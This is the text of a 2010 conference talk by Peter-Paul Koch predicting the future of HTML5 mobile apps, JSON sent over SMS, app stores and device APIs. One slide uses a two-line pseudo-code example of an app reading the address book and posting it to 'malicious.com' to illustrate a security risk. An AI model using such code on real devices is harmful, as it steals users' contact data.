JSON over SMS

JSON over SMS
and other cool stories
from the mobile world
Peter-Paul Koch (ppk)
http://quirksmode.org
http://twitter.com/ppk
Front Trends, 22 Oct 2010
Hell is other browsers - Sartre

The desktop web
Boring!
- Only five browsers
- with only one viewport each
- that support nearly everything
- Even IE? Yes, even IE.

The Mobile Web
Exciting!
- Fifteen browsers and counting
- ranging from great to lousy
- at least two viewports each
- Interesting new bugs
- About three times as many users as
the desktop web (eventually)
- Different context

iPhone 3G
2008 – 700 euros
2010 – 250 euros
2018 – 10 euros?

The Mobile Web
2018 – for everybody?
The fisherman might like a little app
that keeps track of prices in various
towns – maybe he can discover some
patterns.

The Mobile Web
And he may want to impress his friends.
He may even want to share it.
But suppose he has a Nokia, and his
friend a Samsung.

The Mobile Web
He will just send the app via Bluetooth
and it will work
whatever phone receives it...

The Mobile Web
This is NOT futurology.
I've done it. I moved a W3C widget from
Symbian to Windows Mobile.
And it worked ... almost.
Granted, it's not easy yet.
- technical differences
- lousy user interface

HTML5 apps
So the fashion-conscious fisherman of
2018 will share apps via Bluetooth.
What kind of apps? HTML5 apps.
They are the future of the mobile web.
Because web apps work everywhere.
Native app only works on one platform.
Why bother with only one platform?

HTML5 apps
What is an HTML5 app?
- One core app written in HTML, CSS,
and JavaScript
- Deployed to several mobile platforms
- If it can't be deployed it's still a
website. (This includes desktop
browsers.)
http://www.quirksmode.org/blog/archives/2010/03/html5_apps.html

HTML5 apps
What is an HTML5 app?
The HTML, CSS, and JavaScript files are
stored on the device
so that when the user opens the app
again he doesn't have to download them
just the data (via Ajax or otherwise)
Important on lousy connections

HTML5 apps
Deployment right now
- W3C Widget (bada, Vodafone, Opera,
Symbian, BlackBerry)
- Palm webOS app
- iPhone appcached site
- Phonegap (iPhone, Android,
BlackBerry, Symbian, webOS)
http://uxebu.com/blog/2010/02/15/eventninja-a-mobile-cross-
platform-app/

HTML5 apps
Deployment right now
We need an automated deployment
systen. Upload web core to service, and
it will return all the different formats
you need.
Stopgap solution; only for the next few
years.

HTML5 apps
Deployment in the future
Bluetooth. Or the web.
With Nokia, Samsung, and RIM
supporting the format, the other
platform vendors will have to comply.
Eventually.

HTML5 apps - data
So the fashion-conscious fisherman of
2018 will use HTML5 apps.
HTML5 apps will need data.
This data will likely be sent as JSON.
- Light-weight
- Already works everywhere

Receiving JSON data
How will he receive the JSON?
- Wifi? Unlikely – it's expensive to set up,
especially for a fisherman.
- Mobile data connection? Possible, but
expensive.
Besides, it's pull-only.

JSON over SMS
How will he receive the JSON?
I think it will be over SMS:
- only way of pushing data; sometimes
there will be urgent messages of price
fluctuations.
- service wants to make money, too.
Premium SMS already exists
everywhere.

JSON over SMS
To: fisherman024
towns: {town1: {prices:{fish1:0.88,
fish2:1.34, fish3:0.79}, town2: {prices:
{fish1:0.63; fish2:1.19; fish3:1.13}},
date: 221018
Notice syntax error?
No quotes. Takes too much space for an
SMS; 26 characters in this example.
(Forgive me, Douglas)

Monetisation
But wait a minute.
- The fisherman pays for the SMSs he
receives.
- He can share the app freely with
anyone, though.
What will that do to monetisation?

Monetisation
With HTML5 apps and JSON over SMS (or
similar techniques)
we don't need the app stores any more!
We'll pay for the content, and not for the
app itself.
(This would work for many apps out
there right now.)

App stores
You know how many app stores there
are nowadays?
At least 41

App stores
This is getting ridiculous.
Why do we need app stores anyway?
- Discoverability
- Device APIs
- Monetisation

Discoverability
How can you be discovered if tens of
thousands of other apps scream for
attention, too?
Solution: marketing campaign
which costs a hell of a lot of money
and is unattainable for average dev
Or being a Big Brand already

Device APIs
Meant for accessing the camera,
address book, accelerometer, GPS, and
other phone functions.
device.phone.call(device.addressBook['mom'])
Current browsers don't support them
yet, except geolocation.
So we need native apps – for now.

Device APIs
But
if I receive an app by Bluetooth
how am I going to know it won't steal
my address book?
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);
Serious security issue here.

Monetisation
The operators will conquer the payment
market
because they already bill the user;
and a credit card is not necessary
Problem: they're so bloody slow

WAC
WAC: shared APIs for many operators
around the world,
for device APIs
and also for mobile payments
Problem: WAC unites 48 operators
who have to agree about everything.
You get the picture.

End of the app stores
“Why is everyone so exercised? As with
all walled gardens, the web will interpret
the App Store as damage and route
around it.”
- Eric Meyer
We're getting there.

HTML5 apps conclusion
So HTML5 apps will conquer the world,
because they will work everywhere.
They may get their data as JSON over
SMS.
They will make the app stores obsolete.
Cool, isn't it?
Let's review more possibilities.

Web servers
In the future, your mobile phone might
run a web server over Bluetooth.
Especially useful at conferences when
the wifi doesn't work.
Or to establish contact with strangers
(Bluetooth already works that way).

JavaScript events
Fun game: invent mobile JS events
- ononline and onoffline
- onorientationchange
- onshake
- oncameraopen
- onmove (GPS)
- onphonecall
- oncompasspointnorth
- etc.

Establishing context
The mobile context is going to be
massively important.
With desktop computers, or even
laptops, you're pretty certain that the
user is sitting somewhere; most likely
with a table to put the computer on.
She's not moving.

With mobile this context CAN BE
massively different.
- Walk on street
- On a train
- Or sitting in a chair or on a sofa at
home
How do we know what the context is?

GPS data is the obvious solution.
But one data point is not enough.
OK, the user is on the streets and not at
home, but is she
walking,
running,
in a bus,
or sitting in a café?

Maybe GPS should gather data
automatically every ten minutes or so,
and give this data to any app that asks.
That will give us a true mobile context,
because we can read out the user's
speed.

But:
- privacy
- battery life
In other words, the user must be able to
turn this function off.
No big deal.

A final caveat
I'm trying to predict the future here
and predicting the future is not an exact
science
I could be totally wrong about
absolutely everything.
That's not the point, though.

A final caveat
The point is
that mobile will release a huge wave of
high-level creativity
creativity that I've started to miss on the
“fixed web.”
So make your own prediction
and put it on Twitter (#ft2010)

Thank you!
Interested?
Join the Mobile Web mailing list
http://tech.groups.yahoo.com/group/mobile-web/

Thank you!
Questions?
http://quirksmode.org
http://twitter.com/ppk
I'll post these slides on my site.

JSON over SMS

More Related Content

Similar to JSON over SMS (20)

More from Peter-Paul Koch (13)

JSON over SMS